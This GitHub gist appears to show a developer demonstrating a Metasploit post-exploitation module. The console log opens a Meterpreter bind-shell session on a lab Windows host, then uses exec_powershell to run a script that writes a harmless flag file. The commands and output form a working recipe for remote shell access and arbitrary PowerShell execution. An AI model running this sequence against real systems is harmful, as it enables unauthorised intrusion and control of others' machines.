Skip to content

Instantly share code, notes, and snippets.

@todb-r7
Created May 21, 2012 19:13
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save todb-r7/6011cb87b01e970deca8 to your computer and use it in GitHub Desktop.
Save todb-r7/6011cb87b01e970deca8 to your computer and use it in GitHub Desktop.
powershell usage
msf post(exec_powershell) > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/bind_shell
[-] The value specified for payload is not valid.
msf exploit(handler) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf exploit(handler) > set rhost 192.168.222.225
rhost => 192.168.222.225
msf exploit(handler) > exploit
[*] Starting the payload handler...
[*] Started bind handler
[*] Sending stage (752128 bytes) to 192.168.222.225
[*] Meterpreter session 1 opened (192.168.222.50:36638 -> 192.168.222.225:4444) at 2012-05-21 14:12:11 -0500
b
meterpreter > background
[*] Backgrounding session 1...
msf exploit(handler) > use post/windows/manage/powershell/exec_powershell
msf post(exec_powershell) > set session 1
session => 1
msf post(exec_powershell) > show options
Module options (post/windows/manage/powershell/exec_powershell):
Name Current Setting Required Description
---- --------------- -------- -----------
SCRIPT /home/todb/git/todb/metasploit-framework/scripts/ps/msflag.ps1 yes Path to the PS script
SESSION 1 yes The session to run this module on.
msf post(exec_powershell) > exploit
[*] $someText = "Hello from Metasploit!" ; $someText > "C:\flag.txt"
[*] Compressing script contents:
[+] - Compressed size: 1112
[*] Executing the script.
[*] Logging output to /home/todb/.msf4/logs/scripts/TODB-795E3F7FFB/msflag-20120521:141241.txt.
[*] Cleaning up residual objects and processes.
[+] Finished!
[*] Post module execution completed
msf post(exec_powershell) >
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment